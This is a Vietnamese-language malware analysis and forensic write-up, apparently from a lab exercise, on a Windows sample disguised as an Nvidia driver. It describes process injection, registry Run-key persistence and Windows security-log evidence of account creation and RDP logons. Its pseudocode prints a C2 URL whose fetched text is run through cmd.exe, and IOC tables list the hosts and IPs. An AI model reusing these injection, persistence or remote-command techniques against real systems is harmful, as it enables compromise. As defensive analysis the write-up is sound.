# I. Hunting
## Check user
Sau khi check user thì thấy 2 user 1 là `REM` 2 là `KitagawaMarin`.

Sử dụng tools hunting cho cả 2 user để lấy log và phân tích thì không thấy gì đặc biệt cả.
## Check special folder
Ta sẽ đi check các `special folder` để tìm file mã độc. Sử dụng `pchunter` để check thì thấy được 1 file tên `NvidiaGraphicDriver.exe` nằm trong thư mục bị set `hidden` attribute.

## Check hash virustotal
Sub hash nó lên virustotal để check và tìm các drive liên quan đến `NvidiaGraphicDriver` thì thấy khi down drive này nó không có tên như vậy.

# II. Phân tích mã độc
## File mã độc

| File Name | MD5 |
|--------------------------|----------------------------------------|
| NvidiaGraphicDriver.exe | 9004e4addcc46e4ac439c4895af11a482386e67e |
## Luồng họat động

### Hàm `start`
Đi vào hàm `start` ta sẽ thấy 3 hàm thì sau khi check các hàm mình sẽ target vào 2 hàm `start2` và `start3`.

### Hàm `start2`
Tại hàm `start2`, sau khi debug thì có thể lấy được các API từ `kernel32` được resolve vào trong chương trình. Thứ tự các API như sau:
1. `kernel32_RemoveVectoredExceptionHandler`
2. `kernel32_AddVectoredExceptionHandler`
3. `kernel32_CopyFileA`
4. `kernel32_CreateDirectoryA`
5. `kernel32_OpenProcess`
6. `kernel32_VirtualAllocEx`
7. `kernel32_WriteProcessMemory`
8. `kernel32_CreateThread`
9. `kernel32_ExitProcess`
10. `kernel32_WaitForSingleObject`
11. `kernel32_CreateToolhelp32Snapshot`
12. `kernel32_Thread32First`
13. `kernel32_Thread32Next`
14. `kernel32_OpenThread`
15. `kernel32_SuspendThread`
16. `kernel32_GetThreadContext`
17. `kernel32_SetThreadContext`
18. `kernel32_ResumeThread`
19. `kernel32_GetModuleFileNameA`
20. `advapi32_GetUserNameA`
21. `kernel32_Process32First`
22. `kernel32_Process32Next`
23. `kernel32_CloseHandle`
24. `kernel32_VirtualAlloc`
25. `kernel32_VirtualFree`
26. `kernel32_SetFileAttributesA`
27. `kernel32_CreateRemoteThread`
28. `kernel32_SetThreadPriority`

Trong hàm `resolve Hàm` ta thấy có 1 hàm được khởi tạo là `kernel32_CreateThread` được mở ra để call đến exception.


Trong đây hàm này được `AddVectoredExceptionHandler` với đối số là `1` và `func_Handler`. Vậy nó sẽ được khởi chạy khi mà có lỗi exception xảy ra ở dưới nó đã đặt `memory[0]` vậy nên chắc chắn nó sẽ jmp vào hàm `func_Handler`.

Trước đó nó đã sử dụng `kernel32_CreateThread` để mở thread vào hàm exception thì lúc này chương trình chưa mở thread cho chúng ta mà chúng ta cần đến 1 api khác là `kernel32_WaitForSingleObject`. Lúc này ta sẽ đi đến hàm `start3` để khởi tạo thread cho chương trình này.
### Hàm: `start3`
Thread Handler đã được mở ta sẽ debug trực tiếp đến hàm thứ 3 sau khi cho chương trình qua nhánh bên trái thì ta sẽ jmp được vào hàm Handler đây chính là hàm mục tiêu của chúng ta.

#### Handler Hàms
Nội dung của hàm `handler1` nó sẽ tạo thư mục với thuộc tính ẩn đề giấu và lưu trữ file mã độc thực thi.

Check qua hàm ở `func_handler_1` thì thấy chương trình sẽ lấy đường dẫn của user và tạo thư mục như sau ghi vào `AppData\\Roaming\\Nvidia` với nội dung là file `AppData\\Roaming\\Nvidia\\NvidiaGraphicDriver.exe` và set thuộc tính file `kernel32_SetFileAttributesA` để ẩn file thực thi malware.

<br>

Ta sẽ di chuyển đến hàm `fn_handler_2` để tiếp tục phân tích.

<br>

Tại hàm thứ 2 này được sử dụng để inject vào process và sẽ mở song song 2 thread chạy inject code đó. Ta thử đem giá trị ra xor nhưng có vẻ không khả thi vì vậy ta sẽ debug tiếp tục chương trình để đi tiếp các nhánh tiếp theo.

<br>

### Process Injection
Vậy ta sẽ xem nó inject vào process nào. Đi đến hàm `find_PID_Process_inject`. Sau khi debug 1 vài lần và ta thấy nó sẽ chọn process là `explorer.exe` để inject nhưng ta sẽ phải tìm cách để inject qua tiến trình khác mới có thể debug tiếp được vì hiện tại cây thư mục của tôi như sau.

Nếu chúng ta inject trực tiếp vào `explorer.exe` thì không khác nào chúng ta đi cầm process con để debug chính process cha của mình điều này dẫn đến tình trạng máy bị đơ và không thao tác được. Vậy ở đây chúng ta sẽ trực tiếp trace đến process có tên `notepad.exe` và phải mở nó trước khi debug đến đây vì bản chụp snapshot sẽ chụp các chương trình đang được mở trước khi call đến api đó. Chúng ta cùng đi tiếp flow của code để trace đến `notepad.exe`.

Đây chính là lúc nó đến `explorer.exe` nó đã qua vòng lặp để close handle nhưng ta sẽ trace lại cho đến khi gặp `notepad.exe` vì mục tiêu của chúng ta là debug đến 2 phần shellcode được chuẩn bị để inject trước đó.

Đã trace đến `notepad.exe`. Lúc này ta sẽ close handle để inject vào process đó. Được rồi hiện tại ta sẽ đi đến hàm để chuẩn bị remote thread. Ngoài ra chúng ta cũng cần tính địa chỉ hàm mà hàm remote sẽ thực thi.

`V5` được đẩy vào stack đầu tiên và nó được gán vị trí cho `v2` sau đó remote thread sẽ thực thi tại địa chỉ `v2+5501` => ta sẽ jmp đến địa chỉ `0x000002286BBD0000 + 5501` tương tự với `v4` sẽ là `0x000002286DD00000 + 4912` nhưng đây sẽ là địa chỉ trên process ida của `nvidia.exe` vậy nên để xem đối số trực tiếp của process `notepad.exe` ta sẽ xem giá trị của thanh ghi `r9` là `0x000001FD1573157D` đây sẽ là địa chỉ ta debug trên process `notepad.exe`.

### Shellcode Analysis
#### Shellcode 1
Đây chính là hàm main của `shellcode_1`. Ta sẽ phân tích hết `shellcode 1` và sau đó đi đến `shellcode_2` cũng sẽ làm tương tự.
Hàm đầu tiên nó cũng là hàm dùng để resolve func để lấy các api sẽ sử dụng trong `shellcode 1` cũng tương tự như flow của hàm main. Dưới đây là các api mà `shellcode 1` sẽ sử dụng:
1. `kernel32_GetFileAttributesA`
2. `kernel32_CreateFileA`
3. `kernel32_ReadFile`
4. `kernel32_WriteFile`
5. `kernel32_CloseHandle`
6. `kernel32_CreateThread`
7. `kernel32_Sleep`
8. `kernel32_WaitForMultipleObjects`
9. `kernel32_GetFileSize`
10. `kernel32_VirtualAlloc`
11. `kernel32_VirtualFree`
12. `kernel32_GetLastError`
13. `kernel32_CreateDirectoryA`
14. `kernel32_CreateMutexA`
15. `kernel32_CreateProcessA`
16. `kernel32_SetFileAttributesA`
17. `advapi32_RegOpenKeyA`
18. `advapi32_RegSetValueExA`
19. `advapi32_RegCloseKey`
20. `advapi32_GetUserNameA`

Việc chính của `shellcode1` sẽ là ghi vào registry nếu ta thực hiện xóa registry nó sẽ ghi lại vào key đó và chỉ ở user `REM` chứ không phải ở user `KitagawaMArin`.

<br>

Tóm lại ở `shellcode 1`, nếu ta run ở user `REM` nó sẽ được đăng ký registry với nội dung:
- Loop thread vô hạn và song song hai hàm `sub_2951191` và `sub_2950C12` để luôn kiểm tra sự tồn tại của `C:\\Users\\REM\\AppData\\Roaming\\Nvidia\\NvidiaGraphicDriver.exe` và `C:\\Users\\REM\\AppData\\Roaming\\Nvidia\\`, nếu bị xóa thì đăng ký lại.
#### Shellcode 2
Địa chỉ bắt đầu là `0x000001FD15741330` và phải suspend các thread tại `shellcode1` vì có rất nhiều thread đang được khởi chạy song song cùng với loop vô tận.

Tiếp tục phân tích thì hàm này cũng sẽ resolve những api từ `kernel32` như sau:
1. `kernel32_VirtualAlloc`
2. `kernel32_VirtualFree`
3. `kernel32_CloseHandle`
4. `kernel32_GetComputerNameA`
5. `kernel32_CreateProcessA`
6. `kernel32_Sleep`
7. `kernel32_CreateThread`
8. `wininet_InternetOpenA`
9. `wininet_InternetConnectA`
10. `wininet_InternetOpenUrlA`
11. `wininet_InternetReadFile`
12. `wininet_HttpOpenRequestA`
13. `wininet_HttpSendRequestA`
14. `wininet_InternetCloseHandle`

<br>

Sau khi cho đi hẳn qua `shellcode 2`, ta sẽ có được C2C của chương trình exe `http://kitagawamarin.zya.me/ligma.txt`.

Nó sẽ sử dụng lệnh này để `openprocess` gọi `cmd.exe` và thực thi nó. Máy tôi đã tắt mạng vì vậy nó không thể lấy chuỗi từ url kia về. Cơ bản chương trình nó sẽ như thế này:
```c
v59 = http://kitagawamarin.zya.me/ligma.txt
v56 = Waifu
v61 = wininet_InternetOpenA(v56, 1, 0, 0, 0)
v60 = wininet_InternetOpenUrlA(v61, v59, 0, 0, 0x80000000, 0)
wininet_InternetReadFile(v60, v55, ...) -> v55 = whoami
strcat - cmd /c whoami
C:\\Windows\\System32\\cmd.exe
kernel32_CreateProcessA(
C:\\Windows\\System32\\cmd.exe
cmd /c whoami
0, 0, 1
... Numbers_HungarianOrdinal
)
```
## Indicators of Compromise (IOC)
### Files
| File Action | File Path |
|----------------------|------------------------------------------------------------------------------------|
| Files Opened | `C:\Users\<USER>\AppData\Roaming\Nvidia\NvidiaGraphicDriver.exe` |
| | `C:\Users\<USER>\Desktop\NvidiaGraphicDriver.exe` |
| | `%APPDATA%\nvidia\nvidiagraphicdriver.exe` |
| | `%WINDIR%\system32\cmd.exe` |
| | `%WINDIR%\system32\ntdll.dll` |
| | `%WINDIR%\system32\whoami.exe` |
| | `%APPDATA%\Microsoft\Windows\IETldCache\index.dat` |
| | `%USERPROFILE%\AppData\Roaming\Nvidia\NvidiaGraphicDriver.exe` |
| Files Written | `%APPDATA%\nvidia\nvidiagraphicdriver.exe` |
| | `%USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache\IE\P3H6T8JU\ligma[1].txt` |
| Files Deleted | `%USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache\IE\P3H6T8JU\ligma[1].txt` |
### Network Communication
| Communication Type | Details |
|-------------------------|--------------------------------------------|
| HTTP Requests | `GET http://kitagawamarin.zya.me/ligma.txt` |
| | `HEAD http://kitagawamarin.zya.me/ligma.txt` |
| DNS Resolutions | `kitagawamarin.zya.me` |
| | `res.public.onecdn.static.microsoft` |
| | `www.microsoft.com` |
| IP Traffic | `TCP 204.79.197.203:443` |
| | `TCP 185.27.134.130:80 (kitagawamarin.zya.me)` |
| | `TCP 23.216.81.152:80 (www.microsoft.com)` |
### Registry Keys
| Registry Action | Registry Key |
|------------------------|---------------------------------------------------------------------------------------|
| Registry Keys Opened | `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NVidia Control Panel` |
| Registry Keys Set | `HKEY_USERS\%SID%\Software\Microsoft\Windows\CurrentVersion\Run\NVidia Control Panel` |
### Commands Executed
| Command Execution | Command |
|-------------------------|----------------------------------------------------------------------------------|
| Commands Executed | `cmd /c whoami` |
| | `whoami` |
## MITRE ATT&CK Technique Mapping
| Tactic | Technique | Description |
|-----------------------|---------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------|
| Execution (TA0002) | Command and Scripting Interpreter (T1059) | Execution of commands such as `cmd /c whoami`. |
| Persistence (TA0003) | Registry Run Keys / Startup Folder (T1547.001) | Modification of `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NVidia Control Panel` for persistence. |
| Privilege Escalation (TA0004) | Process Injection (T1055) | Injecting code into processes such as `explorer.exe`. |
| Defense Evasion (TA0005) | Obfuscated Files or Information (T1027) | Using encoded or obfuscated file names and paths. |
| Discovery (TA0007) | System Information Discovery (T1082) | Using commands like `whoami` to gather system information. |
| Command and Control (TA0011) | Application Layer Protocol (T1071) | HTTP communication with C2 server `kitagawamarin.zya.me`. |
| Command and Control (TA0011) | Web Service (T1102) | Using HTTP GET requests for C2 communication. |
## Malware Behavior Catalog Tree Mapping
| Behavior Category | Technique | Details |
|--------------------------|------------------------------|------------------------------------------------------------------------------------------|
| Anti-Behavioral Analysis | Anti-Debugging | Attempts to evade debugging or analysis environments. |
| Command and Control | Network Communication | Establishing a C2 channel over HTTP. |
| Defense Evasion | File Deletion | Deletion of artifacts such as log files or dropped files to evade detection. |
| Execution | Command Execution | Executing commands on the compromised system. |
| Persistence | Registry Persistence | Using registry keys for persistence. |
# III. Forensics
## Thông Tin Chung

<br>

- **Thời gian mã độc được build và tạo:** 22-08-2024 vào 23:30:54
- **Máy có 2 user active với quyền Administrators:** REM và KitagawaMarin (mã độc nằm ở user KitagawaMarin)
- **Lịch sử cắm USB:** Không có gì đáng nghi ngờ
- **Ngày target phân tích log:** 20-08-2024
<br>

<br>

File log mới sẽ bắt đầu từ ngày` 23-08-2024` lúc `8:56:30 AM` như lúc nãy ở trên ta có thể thấy là file malware nó được create ngày `22-08-2024` thì có thể file được lưu với `StdTime (Standard Information Time)`
Mục đích: Máy hiện tại có 2 user active với quyền `Administrators` là `REM` và `KitagawaMarin` mà mã độc nằm ở bên user `KitagawaMarin`. Vậy nên ta sẽ trace log security từ `20-08-2024` trở đi để xem hành động của nhóm attacker sẽ làm gì để thêm user này vào và persistant mã độc trong đó.
## Security log

Bắt đầu với lúc `vmware` được khởi chạy cũng là lúc login đầu tiên của người dùng. Sau đó liệt kê các user có trên hệ thống hiện tại cùng với các tài khoản người dung tôi đã list ở ảnh bên trên

Vào thời gian lúc `10:24:10 AM` có 1 hành động target đến `Remote Desktop Users`

**EventID 4732:** Một thành viên mới đã được thêm vào nhóm bảo mật cục bộ "Remote Desktop Users".
- **Chi tiết:** Nhóm này cho phép các thành viên truy cập từ xa vào máy tính qua Remote Desktop Protocol (RDP).
- **SID:** S-1-1-0 đại diện cho "Everyone", tức là tất cả người dùng đã được thêm vào nhóm "Remote Desktop Users".
- **Nội dung:** Nhóm này cho phép các thành viên có quyền truy cập từ xa vào máy tính thông qua `Remote Desktop Protocol (RDP)`. SID S-1-1-0 đại diện cho `Everyone` (mọi người), có nghĩa là tất cả người dùng đã được thêm vào nhóm `Remote Desktop Users`.
Sự kiện này là một sự thay đổi quan trọng trong cấu hình bảo mật, vì việc thêm `Everyone` vào nhóm `Remote Desktop Users` có thể mở ra cánh cửa cho bất kỳ ai có quyền truy cập từ xa vào hệ thống.

**EventID 4728:** Thành viên với SID S-1-5-21-1866265027-1870850910-1579135973-1001 đã được thêm vào nhóm None.
- **Thời gian:** 2024-08-23T03:27:51.7912056Z
- **Thực hiện bởi:** REM từ máy tính DESKTOP-2C3IQHO.
**EventID 4720:** Tài khoản người dùng KitagawaMarin đã được tạo.
- **Thời gian:** 2024-08-23T03:27:51.7942629Z
- **Thực hiện bởi:** REM từ máy tính DESKTOP-2C3IQHO.
- **Nội dung:** Có thể là hành động bình thường nếu do quản trị viên thực hiện, cần xác minh với admin máy chủ.
`EventID 4720` cho thấy một tài khoản người dùng mới `KitagawaMarin` đã được tạo.

**EventID 4732:** Thành viên được thêm vào nhóm bảo mật cục bộ "Users".
- **Thời gian:** 2024-08-23T03:27:51.7959146Z
- **Chi tiết:**
- MemberSid: S-1-5-21-1866265027-1870850910-1579135973-1001 (SID của tài khoản KitagawaMarin).
- TargetUserName: Users - Nhóm bảo mật "Users" (Builtin) của hệ thống.
- TargetSid: S-1-5-32-545 - SID của nhóm "Users".
- SubjectUserName: REM - Người dùng đã thực hiện hành động.
- SubjectLogonId: 0x3de37 - ID phiên đăng nhập của người dùng REM.
- **Nội dung:** Tài khoản KitagawaMarin đã được thêm vào nhóm "Users".
Nhóm này là nhóm mặc định cho tất cả người dùng tiêu chuẩn trên hệ thống Windows, cho phép quyền truy cập cơ bản vào các tài nguyên của máy tính.
**EventID 4722:** Tài khoản KitagawaMarin được kích hoạt lại.
- **Thời gian:** 2024-08-23T03:27:51.8042773Z
- **Chi tiết:** Tài khoản này đã bị vô hiệu hóa trước đó và được mở khóa để sử dụng lại.
**EventID 4738:** Thuộc tính của tài khoản người dùng đã thay đổi (lần 1).
- **Thời gian:** 2024-08-23T03:27:51.8043200Z
- **Chi tiết:**
- TargetUserName: KitagawaMarin
- OldUacValue: 0x15 - Giá trị User Account Control (UAC) cũ.
- NewUacValue: 0x14 - Giá trị UAC mới, có thể chỉ ra sự thay đổi quyền hoặc cài đặt bảo mật.
- SubjectUserName: REM
- SubjectLogonId: 0x3de37
- **Nội dung:** Các thuộc tính bảo mật hoặc cấu hình của tài khoản đã được thay đổi.
**EventID 4738:** Thuộc tính của tài khoản người dùng đã thay đổi (lần 2).
- **Thời gian:** 2024-08-23T03:27:51.8144463Z
- **Chi tiết:**
- TargetUserName: KitagawaMarin
- OldUacValue: 0x14
- NewUacValue: 0x14 (không thay đổi)
- PasswordLastSet: 8/22/2024 11:27:51 PM
- SubjectUserName: REM
- SubjectLogonId: 0x3de37
- **Nội dung:** Không có sự thay đổi giá trị UAC, nhưng mật khẩu có thể đã được cập nhật.
Một lần thay đổi khác trên thuộc tính của tài khoản `KitagawaMarin`, nhưng không có sự thay đổi nào trong giá trị UAC. Điều này có thể chỉ ra rằng các thuộc tính khác (như thông tin liên quan đến tài khoản hoặc thông tin mật khẩu) đã được cập nhật.
**EventID 4724:** Mật khẩu của tài khoản người dùng đã thay đổi.
- **Thời gian:** 2024-08-23T03:27:51.8144685Z
- **Chi tiết:**
- TargetUserName: KitagawaMarin
- TargetSid: S-1-5-21-1866265027-1870850910-1579135973-1001
- SubjectUserName: REM
- SubjectLogonId: 0x3de37
- **Nội dung:** Mật khẩu của tài khoản đã được thay đổi, cần theo dõi chặt chẽ nếu không phải do quản trị viên thực hiện.
Mật khẩu của tài khoản `KitagawaMarin` đã được thay đổi. Đây là một hành động quan trọng và cần được theo dõi, đặc biệt nếu nó không được thực hiện bởi một quản trị viên hoặc nếu không được cho phép.
Các sự kiện này chỉ ra một chuỗi hành động liên quan đến tài khoản người dùng `KitagawaMarin`, bao gồm việc kích hoạt lại tài khoản, thêm tài khoản vào nhóm "Users", thay đổi các thuộc tính bảo mật và cuối cùng là thay đổi mật khẩu. Nếu các hành động này không được thực hiện bởi quản trị viên hoặc là một phần của quy trình quản lý tài khoản có chủ đích, chúng có thể chỉ ra một nỗ lực xâm nhập hoặc thay đổi trái phép vào tài khoản quan trọng và cần được điều tra thêm ngay lập tức.

Các sự kiện này chỉ ra một loạt các hành động liên quan đến tài khoản `KitagawaMarin` và `Administrator`, bao gồm thay đổi mật khẩu, thay đổi thuộc tính bảo mật, và kiểm tra thành viên nhóm. Nếu những thay đổi này không phải do quản trị viên thực hiện hoặc không được lên kế hoạch trước, chúng có thể chỉ ra một nỗ lực xâm nhập hoặc thay đổi trái phép. Cần có sự điều tra thêm để xác định tính hợp lệ của các hành động này và đảm bảo rằng không có mối đe dọa bảo mật nào đang diễn ra.

Ngay lúc này Tài khoản `KitagawaMarin` đã được thêm vào nhóm `Administrators`. Nhóm `Administrators` có quyền quản trị cao nhất trên hệ thống, cho phép truy cập và điều khiển toàn bộ các tài nguyên và cấu hình hệ thống.

**EventID 4732:** Thành viên được thêm vào nhóm "Remote Desktop Users".
- **Thời gian:** 2024-08-23T03:28:28.6006461Z
- **Chi tiết:**
- MemberSid: S-1-5-21-1866265027-1870850910-1579135973-1001
- TargetUserName: Remote Desktop Users
- TargetSid: S-1-5-32-555
- SubjectUserSid: S-1-5-21-1866265027-1870850910-1579135973-1000
- SubjectUserName: REM
- SubjectLogonId: 0x3de37
- **Nội dung:** Tài khoản KitagawaMarin đã được thêm vào nhóm cho phép truy cập từ xa.
Tài khoản `KitagawaMarin` đã được thêm vào nhóm `Remote Desktop Users`. Nhóm này cho phép các thành viên kết nối từ xa với hệ thống qua `Remote Desktop Protocol (RDP)`. Điều này có thể mở ra quyền truy cập từ xa vào hệ thống cho tài khoản `KitagawaMarin`.

**EventID 4624:** Tài khoản KitagawaMarin đã đăng nhập thành công.
- **Thời gian:** 2024-08-23T03:28:42.9384676Z
- **Chi tiết:**
- TargetUserName: KitagawaMarin
- LogonType: 3 - Đăng nhập mạng
- LogonProcessName: NtLmSsp
- AuthenticationPackageName: NTLM
- WorkstationName: JUMP-WINDOWS
- IpAddress: 192.168.0.118
- KeyLength: 128
- **Nội dung:** Đăng nhập từ một máy trạm qua địa chỉ IP 192.168.0.118.
Tài khoản `KitagawaMarin` đã đăng nhập thành công từ một máy trạm tên là `JUMP-WINDOWS` qua địa chỉ IP `192.168.0.118` sử dụng đăng nhập mạng thông qua `NTLM`, một giao thức xác thực bảo mật.
**EventID 4634:** Phiên đăng nhập bị đăng xuất.
- **Thời gian:** 2024-08-23T03:28:42.9415540Z
- **Chi tiết:**
- TargetUserName: KitagawaMarin
- LogonType: 3
- **Nội dung:** Phiên đăng nhập bị đăng xuất ngay sau khi đăng nhập thành công.
Phiên đăng nhập mạng của tài khoản `KitagawaMarin` đã bị đăng xuất ngay sau khi đăng nhập thành công. Điều này có thể chỉ ra một kết nối tạm thời hoặc một hành động đăng nhập tự động bị kết thúc.
**EventID 4624:** Đăng nhập thành công .
- **Thời gian:** 2024-08-23T03:28:44.0056137Z
- **Chi tiết:**
- TargetUserName: KitagawaMarin
- LogonType: 3
- IpAddress: 192.168.0.118
- WorkstationName: JUMP-WINDOWS
- **Nội dung:** Đăng nhập lại sau khi bị đăng xuất.
Tài khoản `KitagawaMarin` đã thực hiện một lần đăng nhập mạng khác ngay sau khi bị đăng xuất, sử dụng cùng địa chỉ IP và tên máy trạm.
Các sự kiện này chỉ ra rằng tài khoản `KitagawaMarin` đã thực hiện nhiều lần đăng nhập và bị đăng xuất trong khoảng thời gian ngắn, sử dụng NTLM từ một địa chỉ IP cụ thể. Tài khoản này đã được cấp các đặc quyền quản trị cao cấp, điều này có thể gây rủi ro nếu không được giám sát và kiểm soát đúng cách. Hành động này có thể chỉ ra một nỗ lực xâm nhập hoặc sử dụng trái phép, và cần được điều tra kỹ lưỡng để đảm bảo rằng không có mối đe dọa bảo mật nào đối với hệ thống.
ĐẾn đây là cơ bản của log security user `REM` bây giờ ta sẽ đi đến user `KitagawaMarin` và lúc này ta đã biết được `sid` cũng như `username` để chúng ta target vào vì vậy ta sẽ viết file xml để filter log.
```XML
<QueryList>
<Query Id="0" Path="file://D:\Lab\logSecurity\Log_kita\log_parrse_23_kita_usser.evtx">
<Select Path="file://D:\Lab\logSecurity\Log_kita\log_parrse_23_kita_usser.evtx">
*[EventData[Data and (Data='S-1-5-21-1866265027-1870850910-1579135973-1001' or Data='KitagawaMarin')]]
</Select>
</Query>
</QueryList>
```

Các sự kiện này cho thấy rằng tài khoản `KitagawaMarin` đã trải qua một loạt các thao tác quan trọng trong hệ thống:
- **EventID 4720**: Tài khoản `KitagawaMarin` đã được tạo.
- **EventID 4732 và 4728**: Tài khoản này đã được thêm vào các nhóm bảo mật khác nhau (nhóm "Users" và một nhóm bảo mật khác).
- **EventID 4722**: Tài khoản `KitagawaMarin` đã bị vô hiệu hóa trước đó và được kích hoạt lại.
- **EventID 4738**: Các thuộc tính bảo mật của tài khoản đã được thay đổi.

**EventID 4624**: Đăng nhập thành công
- **EventID 4624**: Sự kiện đăng nhập thành công vào hệ thống.
- **TimeCreated**: `2024-08-23T03:28:42.9384676Z`
**Thông tin chi tiết:**
- **TargetUserSid**: `S-1-5-21-1866265027-1870850910-1579135973-1001` - SID của tài khoản người dùng `KitagawaMarin`.
- **TargetUserName**: `KitagawaMarin` - Tài khoản người dùng đã đăng nhập.
- **TargetDomainName**: `DESKTOP-2C3IQHO` - Miền của tài khoản người dùng.
- **TargetLogonId**: `0x1f71e5` - ID phiên đăng nhập của tài khoản `KitagawaMarin`.
- **LogonType**: `3` - Đăng nhập mạng (Network Logon). Loại đăng nhập này thường được sử dụng cho các kết nối truy cập tài nguyên như tệp hoặc máy in trên mạng.
- **LogonProcessName**: `NtLmSsp` - Quá trình đăng nhập sử dụng giao thức xác thực NTLM.
- **AuthenticationPackageName**: `NTLM` - Gói xác thực NTLM.
- **LmPackageName**: `NTLM V2` - Sử dụng phiên bản thứ hai của giao thức NTLM để xác thực.
- **WorkstationName**: `JUMP-WINDOWS` - Tên của máy trạm mà từ đó yêu cầu đăng nhập được thực hiện.
- **IpAddress**: `192.168.0.118` - Địa chỉ IP của máy trạm từ đó yêu cầu đăng nhập được thực hiện.
- **IpPort**: `0` - Cổng IP (không xác định trong trường hợp này).
- **ImpersonationLevel**: `%%1833` - Cấp độ giả danh "Impersonation Level".
- **VirtualAccount**: `%%1843` - Cho biết tài khoản ảo được sử dụng.
- **ElevatedToken**: `%%1843` - Cho biết tài khoản này đã được cấp quyền nâng cao.
**Mô tả sự kiện:**
`EventID 4624` chỉ ra rằng tài khoản `KitagawaMarin` đã đăng nhập thành công vào hệ thống từ một máy trạm có tên là `JUMP-WINDOWS` với địa chỉ IP `192.168.0.118` thông qua đăng nhập mạng (Logon Type 3). Giao thức xác thực sử dụng là NTLM phiên bản 2, một giao thức bảo mật của Microsoft.
Đăng nhập thành công với các quyền và mức độ bảo mật được chỉ định cho thấy rằng đây là một phiên đăng nhập hợp lệ. Tuy nhiên, việc đăng nhập này có thể là một phần của hoạt động bình thường nhưng cũng có thể là một phần của kịch bản của attacker, chẳng hạn như truy cập tài nguyên mạng từ một máy trạm.

Tài khoản `KitagawaMarin` đã thực hiện nhiều phiên đăng nhập liên tiếp, từ mạng nội bộ và thông qua Remote Desktop Protocol (RDP).
Các đặc quyền bảo mật cao cấp đã được cấp cho tài khoản này, bao gồm:
- Khả năng quản lý bảo mật
- Gỡ lỗi tiến trình
- Sao lưu và khôi phục dữ liệu
- Quyền giả danh
Sự kiện sử dụng thông tin xác thực khác (**EventID 4648**) có thể chỉ ra một hoạt động đăng nhập thay thế hoặc xác thực lại.

## Tóm tắt các event
### Security REM
<table border="1">
<thead>
<tr>
<th>Sự Kiện</th>
<th>Mô Tả</th>
<th>Thời Gian (UTC)</th>
<th>Người Thực Hiện</th>
<th>Chi Tiết Bổ Sung</th>
</tr>
</thead>
<tbody>
<tr>
<td>EventID 4732</td>
<td>Thành viên mới đã được thêm vào nhóm "Remote Desktop Users".</td>
<td>Thời gian không xác định</td>
<td>Không xác định</td>
<td>SID S-1-1-0 ("Everyone") đã được thêm vào nhóm Remote Desktop Users.</td>
</tr>
<tr>
<td>EventID 4728</td>
<td>Thành viên với SID S-1-5-21-...-1001 đã được thêm vào nhóm None.</td>
<td>2024-08-23T03:27:51.7912056Z</td>
<td>REM</td>
<td>Thực hiện bởi người dùng REM từ máy tính DESKTOP-2C3IQHO.</td>
</tr>
<tr>
<td>EventID 4720</td>
<td>Tài khoản người dùng KitagawaMarin đã được tạo.</td>
<td>2024-08-23T03:27:51.7942629Z</td>
<td>REM</td>
<td>Hành động này cần xác minh lại với admin máy chủ.</td>
</tr>
<tr>
<td>EventID 4732</td>
<td>Thành viên được thêm vào nhóm bảo mật cục bộ Users.</td>
<td>2024-08-23T03:27:51.7959146Z</td>
<td>REM</td>
<td>Tài khoản KitagawaMarin được thêm vào nhóm Users.</td>
</tr>
<tr>
<td>EventID 4722</td>
<td>Tài khoản KitagawaMarin đã được kích hoạt lại.</td>
<td>2024-08-23T03:27:51.8042773Z</td>
<td>REM</td>
<td>Tài khoản này đã bị vô hiệu hóa trước đó và được mở khóa để sử dụng lại.</td>
</tr>
<tr>
<td>EventID 4738</td>
<td>Các thuộc tính của tài khoản KitagawaMarin đã thay đổi (lần 1).</td>
<td>2024-08-23T03:27:51.8043200Z</td>
<td>REM</td>
<td>Giá trị UAC thay đổi từ 0x15 sang 0x14, cho thấy có sự thay đổi quyền hoặc cài đặt bảo mật.</td>
</tr>
<tr>
<td>EventID 4738</td>
<td>Thuộc tính của tài khoản người dùng KitagawaMarin đã thay đổi (lần 2).</td>
<td>2024-08-23T03:27:51.8144463Z</td>
<td>REM</td>
<td>Giá trị UAC không thay đổi, mật khẩu đã được cập nhật.</td>
</tr>
<tr>
<td>EventID 4724</td>
<td>Mật khẩu của tài khoản KitagawaMarin đã được thay đổi.</td>
<td>2024-08-23T03:27:51.8144685Z</td>
<td>REM</td>
<td>Cần được theo dõi chặt chẽ nếu không phải do quản trị viên thực hiện.</td>
</tr>
<tr>
<td>EventID 4732</td>
<td>Thành viên được thêm vào nhóm Remote Desktop Users.</td>
<td>2024-08-23T03:28:28.6006461Z</td>
<td>REM</td>
<td>Tài khoản KitagawaMarin được thêm vào nhóm Remote Desktop Users.</td>
</tr>
<tr>
<td>EventID 4624</td>
<td>Tài khoản KitagawaMarin đã đăng nhập thành công.</td>
<td>2024-08-23T03:28:42.9384676Z</td>
<td>KitagawaMarin</td>
<td>Đăng nhập từ máy trạm JUMP-WINDOWS qua địa chỉ IP 192.168.0.118.</td>
</tr>
<tr>
<td>EventID 4634</td>
<td>Phiên đăng nhập của tài khoản KitagawaMarin đã bị đăng xuất.</td>
<td>2024-08-23T03:28:42.9415540Z</td>
<td>KitagawaMarin</td>
<td>Phiên đăng nhập mạng bị đăng xuất ngay sau khi đăng nhập thành công.</td>
</tr>
<tr>
<td>EventID 4624</td>
<td>Tài khoản KitagawaMarin đã đăng nhập thành công.</td>
<td>2024-08-23T03:28:44.0056137Z</td>
<td>KitagawaMarin</td>
<td>Tài khoản đăng nhập mạng khác sau khi bị đăng xuất.</td>
</tr>
<tr>
<td>EventID 4798</td>
<td>Liệt kê thành viên nhóm của tài khoản người dùng KitagawaMarin.</td>
<td>2024-08-23T03:28:46.7607232Z</td>
<td>DESKTOP-2C3IQHO$</td>
<td>Máy tính DESKTOP-2C3IQHO khởi tạo sự kiện.</td>
</tr>
<tr>
<td>EventID 4648</td>
<td>Đăng nhập với thông tin xác thực khác.</td>
<td>2024-08-23T03:28:46.8422235Z</td>
<td>DESKTOP-2C3IQHO$</td>
<td>Đăng nhập sử dụng thông tin xác thực khác từ địa chỉ IP 192.168.0.118.</td>
</tr>
<tr>
<td>EventID 4672</td>
<td>Đặc quyền đặc biệt được cấp trong quá trình đăng nhập.</td>
<td>2024-08-23T03:28:46.8422866Z</td>
<td>KitagawaMarin</td>
<td>Được cấp nhiều đặc quyền bảo mật cao cấp bao gồm quản lý log bảo mật, gỡ lỗi tiến trình, và quyền giả danh.</td>
</tr>
</tbody>
